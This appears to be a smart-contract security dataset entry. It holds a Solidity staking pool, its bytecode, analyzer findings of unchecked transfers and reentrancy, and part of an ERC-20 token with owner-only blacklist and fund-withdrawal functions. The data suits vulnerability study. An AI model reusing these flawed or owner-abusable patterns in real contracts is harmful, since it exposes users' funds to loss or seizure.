modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
}
contract Pool_1 is Ownable {
using SafeMath for uint256;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint256 amount);
// YPro token contract address
address public tokenAddress = 0xAc9C0F1bFD12cf5c4daDbeAb943473c4C45263A0;
// LP token contract address
address public LPtokenAddress = 0xE79644F9bE698c8C7a94df66Abb7D7CA04C553F5;
// reward rate 100 % per year
uint256 public rewardRate = 4380;
uint256 public rewardInterval = 365 days;
// staking fee 0%
uint256 public stakingFeeRate = 0;
// unstaking fee 0%
uint256 public unstakingFeeRate = 0;
// unstaking possible after 0 days
uint256 public cliffTime = 0 days;
uint256 public farmEnableat;
uint256 public totalClaimedRewards = 0;
uint256 private stakingAndDaoTokens = 100000e18;
bool public farmEnabled = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint256) public depositedTokens;
mapping (address => uint256) public stakingTime;
mapping (address => uint256) public lastClaimedTime;
mapping (address => uint256) public totalEarnedTokens;
function updateAccount(address account) private {
uint256 pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
}
function getPendingDivs(address _holder) public view returns (uint256) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint256 timeDiff = now.sub(lastClaimedTime[_holder]);
uint256 stakedAmount = depositedTokens[_holder];
if (now > farmEnableat + 7 days) {
uint256 pendingDivs = stakedAmount.mul(1313906).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (now <= farmEnableat + 7 days) {
uint256 pendingDivs = stakedAmount.mul(rewardRate).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
}
}
function getNumberOfHolders() public view returns (uint256) {
return holders.length();
}
function deposit(uint256 amountToStake) public {
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(farmEnabled, "Farming is not enabled");
require(Token(LPtokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint256 fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint256 amountAfterFee = amountToStake.sub(fee);
require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function withdraw(uint256 amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender);
uint256 fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint256 amountAfterFee = amountToWithdraw.sub(fee);
require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer deposit fee.");
require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimDivs() public {
updateAccount(msg.sender);
}
function getStakingAndDaoAmount() public view returns (uint256) {
if (totalClaimedRewards >= stakingAndDaoTokens) {
return 0;
}
uint256 remaining = stakingAndDaoTokens.sub(totalClaimedRewards);
return remaining;
}
function setTokenAddress(address _tokenAddressess) public onlyOwner {
tokenAddress = _tokenAddressess;
}
function setLPTokenAddress(address _LPtokenAddressess) public onlyOwner {
LPtokenAddress = _LPtokenAddressess;
}
function setCliffTime(uint256 _time) public onlyOwner {
cliffTime = _time;
}
function setRewardInterval(uint256 _rewardInterval) public onlyOwner {
rewardInterval = _rewardInterval;
}
function setStakingAndDaoTokens(uint256 _stakingAndDaoTokens) public onlyOwner {
stakingAndDaoTokens = _stakingAndDaoTokens;
}
function setStakingFeeRate(uint256 _Fee) public onlyOwner {
stakingFeeRate = _Fee;
}
function setUnstakingFeeRate(uint256 _Fee) public onlyOwner {
unstakingFeeRate = _Fee;
}
function setRewardRate(uint256 _rewardRate) public onlyOwner {
rewardRate = _rewardRate;
}
function enableFarming() external onlyOwner() {
farmEnabled = true;
farmEnableat = now;
}
// function to allow admin to claim *any* ERC20 tokens sent to this contract
function transferAnyERC20Tokens(address _tokenAddress, address _to, uint256 _amount) public onlyOwner {
require(_tokenAddress != LPtokenAddress);
Token(_tokenAddress).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c806398896d101161010f578063d578ceab116100a2578063f2fde38b11610071578063f2fde38b14610721578063f3f91fa014610765578063f42ebbe0146107bd578063f9da7db814610801576101f0565b8063d578ceab14610699578063d816c7d5146106b7578063e3e84213146106d5578063e40ccf2714610703576101f0565b8063a9145727116100de578063a9145727146105c7578063b6b55f25146105f5578063bec4de3f14610623578063c326bf4f14610641576101f0565b806398896d10146104ed5780639d76ea58146105455780639e447fc614610579578063a2e656a2146105a7576101f0565b80635ef057be116101875780637b0a47ee116101565780637b0a47ee1461043f5780638a97973f1461045d5780638da5cb5b1461048b57806391e07e7a146104bf576101f0565b80635ef057be146103515780636270cd181461036f5780636a395ccb146103c75780637723c5f114610435576101f0565b80632e1a7d4d116101c35780632e1a7d4d1461027f578063308feec3146102ad578063468b4f10146102cb578063583d42fd146102f9576101f0565b80630f1a6444146101f557806319aa70e714610213578063268cab491461021d57806326a4e8d21461023b575b600080fd5b6101fd610835565b6040518082815260200191505060405180910390f35b61021b61083b565b005b610225610846565b6040518082815260200191505060405180910390f35b61027d6004803603602081101561025157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061087f565b005b6102ab6004803603602081101561029557600080fd5b810190808035906020019092919050505061091b565b005b6102b5610e7c565b6040518082815260200191505060405180910390f35b6102f7600480360360208110156102e157600080fd5b8101908080359060200190929190505050610e8d565b005b61033b6004803603602081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eef565b6040518082815260200191505060405180910390f35b610359610f07565b6040518082815260200191505060405180910390f35b6103b16004803603602081101561038557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f0d565b6040518082815260200191505060405180910390f35b610433600480360360608110156103dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f25565b005b61043d61108a565b005b610447611106565b6040518082815260200191505060405180910390f35b6104896004803603602081101561047357600080fd5b810190808035906020019092919050505061110c565b005b61049361116e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104eb600480360360208110156104d557600080fd5b8101908080359060200190929190505050611192565b005b61052f6004803603602081101561050357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111f4565b6040518082815260200191505060405180910390f35b61054d6113e4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105a56004803603602081101561058f57600080fd5b810190808035906020019092919050505061140a565b005b6105af61146c565b60405180821515815260200191505060405180910390f35b6105f3600480360360208110156105dd57600080fd5b810190808035906020019092919050505061147f565b005b6106216004803603602081101561060b57600080fd5b81019080803590602001909291905050506114e1565b005b61062b6119f0565b6040518082815260200191505060405180910390f35b6106836004803603602081101561065757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119f6565b6040518082815260200191505060405180910390f35b6106a1611a0e565b6040518082815260200191505060405180910390f35b6106bf611a14565b6040518082815260200191505060405180910390f35b610701600480360360208110156106eb57600080fd5b8101908080359060200190929190505050611a1a565b005b61070b611a7c565b6040518082815260200191505060405180910390f35b6107636004803603602081101561073757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a82565b005b6107a76004803603602081101561077b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bd1565b6040518082815260200191505060405180910390f35b6107ff600480360360208110156107d357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611be9565b005b610809611c85565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60075481565b61084433611cab565b565b6000600a546009541061085c576000905061087c565b6000610875600954600a54611f4f90919063ffffffff16565b9050809150505b90565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108d757600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156109d0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b600754610a25600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611f4f90919063ffffffff16565b11610a7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806121fc6034913960400191505060405180910390fd5b610a8433611cab565b6000610aaf612710610aa160065485611f6690919063ffffffff16565b611f9590919063ffffffff16565b90506000610ac68284611f4f90919063ffffffff16565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610b7b57600080fd5b505af1158015610b8f573d6000803e3d6000fd5b505050506040513d6020811015610ba557600080fd5b8101908080519060200190929190505050610c28576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610cbb57600080fd5b505af1158015610ccf573d6000803e3d6000fd5b505050506040513d6020811015610ce557600080fd5b8101908080519060200190929190505050610d68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610dba83600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f4f90919063ffffffff16565b600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1133600c611fae90919063ffffffff16565b8015610e5c57506000600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610e7757610e7533600c611fde90919063ffffffff16565b505b505050565b6000610e88600c61200e565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ee557600080fd5b8060058190555050565b600f6020528060005260406000206000915090505481565b60055481565b60116020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f7d57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fd857600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561104957600080fd5b505af115801561105d573d6000803e3d6000fd5b505050506040513d602081101561107357600080fd5b810190808051906020019092919050505050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110e257600080fd5b6001600b60006101000a81548160ff02191690831515021790555042600881905550565b60035481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461116457600080fd5b8060078190555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111ea57600080fd5b8060068190555050565b600061120a82600c611fae90919063ffffffff16565b61121757600090506113df565b6000600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561126857600090506113df565b60006112bc601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611f4f90919063ffffffff16565b90506000600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905062093a80600854014211156113705760006113636127106113556004546113478761133962140c7289611f6690919063ffffffff16565b611f6690919063ffffffff16565b611f9590919063ffffffff16565b611f9590919063ffffffff16565b90508093505050506113df565b62093a806008540142116113dc5760006113cf6127106113c16004546113b3876113a560035489611f6690919063ffffffff16565b611f6690919063ffffffff16565b611f9590919063ffffffff16565b611f9590919063ffffffff16565b90508093505050506113df565b50505b919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461146257600080fd5b8060038190555050565b600b60009054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114d757600080fd5b80600a8190555050565b60008111611557576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b600b60009054906101000a900460ff166115d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4661726d696e67206973206e6f7420656e61626c65640000000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561168a57600080fd5b505af115801561169e573d6000803e3d6000fd5b505050506040513d60208110156116b457600080fd5b8101908080519060200190929190505050611737576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b61174033611cab565b600061176b61271061175d60055485611f6690919063ffffffff16565b611f9590919063ffffffff16565b905060006117828284611f4f90919063ffffffff16565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561183757600080fd5b505af115801561184b573d6000803e3d6000fd5b505050506040513d602081101561186157600080fd5b81019080805190602001909291905050506118e4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b61193681600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202390919063ffffffff16565b600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061198d33600c611fae90919063ffffffff16565b6119eb576119a533600c61203f90919063ffffffff16565b5042600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b60045481565b600e6020528060005260406000206000915090505481565b60095481565b60065481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a7257600080fd5b8060048190555050565b60085481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ada57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b1457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60106020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c4157600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611cb6826111f4565b90506000811115611f0757600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611d5457600080fd5b505af1158015611d68573d6000803e3d6000fd5b505050506040513d6020811015611d7e57600080fd5b8101908080519060200190929190505050611e01576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b611e5381601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202390919063ffffffff16565b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611eab8160095461202390919063ffffffff16565b6009819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600082821115611f5b57fe5b818303905092915050565b60008082840290506000841480611f85575082848281611f8257fe5b04145b611f8b57fe5b8091505092915050565b600080828481611fa157fe5b0490508091505092915050565b6000611fd6836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61206f565b905092915050565b6000612006836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612092565b905092915050565b600061201c8260000161217a565b9050919050565b60008082840190508381101561203557fe5b8091505092915050565b6000612067836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61218b565b905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461216e57600060018203905060006001866000018054905003905060008660000182815481106120dd57fe5b90600052602060002001549050808760000184815481106120fa57fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061213257fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612174565b60009150505b92915050565b600081600001805490509050919050565b6000612197838361206f565b6121f05782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506121f5565b600090505b9291505056fe596f7520726563656e746c79207374616b65642c20706c656173652077616974206265666f7265207769746864726177696e672ea26469706673582212206a531a786ec86af24a73f1f2a6c4c6d6f33f49276bf84c88ca9419c7cfe045b164736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 1,681 |
0x337c456d481d1c09e615eeacc6f590e6d9c8fbae
|
/**
*Submitted for verification at Etherscan.io on 2022-01-21
*/
pragma solidity >=0.7.0 <0.8.0;
// SPDX-License-Identifier: Unlicensed
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract INSPECTORCRYPTO is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => uint256) private _lastTX;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private _isBlacklisted;
address[] private _excluded;
bool public tradingLive = false;
uint256 private _totalSupply = 1000000000 * 10**18;
uint256 public _totalBurned;
string private _name = "Inspector Crypto";
string private _symbol = "GADGET";
uint8 private _decimals = 18;
address payable private _inspectorCrypto;
address payable private _brain;
uint256 public firstLiveBlock;
uint256 public _wowsers = 4;
uint256 public _goGoGadget = 9;
uint256 private _previousWowsers = _wowsers;
uint256 private _previousGoGadget = _goGoGadget;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public antiBotLaunch = true;
uint256 public _maxTxAmount;
uint256 public _maxHoldings = 50000000 * 10**18; //5%
bool public maxHoldingsEnabled = true;
bool public maxTXEnabled = true;
bool public antiSnipe = true;
bool public savePenny = true;
bool public cooldown = true;
uint256 public numTokensSellToAddToLiquidity = 10000000 * 10**18;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_balance[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Uni V2
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
_inspectorCrypto = 0xd590BbD89fcfd49475EA0A56c1E0babFe2129581;
_brain = 0x2A486038A11Af98A98Fc6B054b517cBC6B4328eA;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function totalBurned() public view returns (uint256) {
return _totalBurned;
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) external onlyOwner {
_isExcludedFromFee[account] = false;
}
function setInspectorCrypto(address payable _address) external onlyOwner {
_inspectorCrypto = _address;
}
function setBrain(address payable _address) external onlyOwner {
_brain = _address;
}
function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
_maxTxAmount = maxTxAmount * 10**18;
}
function setMaxHoldings(uint256 maxHoldings) external onlyOwner() {
_maxHoldings = maxHoldings * 10**18;
}
function setMaxTXEnabled(bool enabled) external onlyOwner() {
maxTXEnabled = enabled;
}
function setMaxHoldingsEnabled(bool enabled) external onlyOwner() {
maxHoldingsEnabled = enabled;
}
function setAntiSnipe(bool enabled) external onlyOwner() {
antiSnipe = enabled;
}
function setCooldown(bool enabled) external onlyOwner() {
cooldown = enabled;
}
function setSavePenny(bool enabled) external onlyOwner() {
savePenny = enabled;
}
function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() {
numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**18;
}
function claimETH (address walletaddress) external onlyOwner {
// make sure we capture all ETH that may or may not be sent to this contract
payable(walletaddress).transfer(address(this).balance);
}
function claimAltTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() {
tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this)));
}
function clearStuckBalance (address payable walletaddress) external onlyOwner() {
walletaddress.transfer(address(this).balance);
}
function blacklist(address _address) external onlyOwner() {
_isBlacklisted[_address] = true;
}
function removeFromBlacklist(address _address) external onlyOwner() {
_isBlacklisted[_address] = false;
}
function getIsBlacklistedStatus(address _address) external view returns (bool) {
return _isBlacklisted[_address];
}
function allowtrading() external onlyOwner() {
tradingLive = true;
firstLiveBlock = block.number;
}
function setSwapAndLiquifyEnabled(bool _enabled) external onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _goGoGadgetArms(address _account, uint _amount) private {
require( _amount <= balanceOf(_account));
_balance[_account] = _balance[_account].sub(_amount);
_totalSupply = _totalSupply.sub(_amount);
_totalBurned = _totalBurned.add(_amount);
emit Transfer(_account, address(0), _amount);
}
function _goGoGadgetCopter() external onlyOwner {
address _account = address(msg.sender);
uint256 _amount = balanceOf(_account);
_balance[_account] = _balance[_account].sub(_amount);
_totalSupply = _totalSupply.sub(_amount);
_totalBurned = _totalBurned.add(_amount);
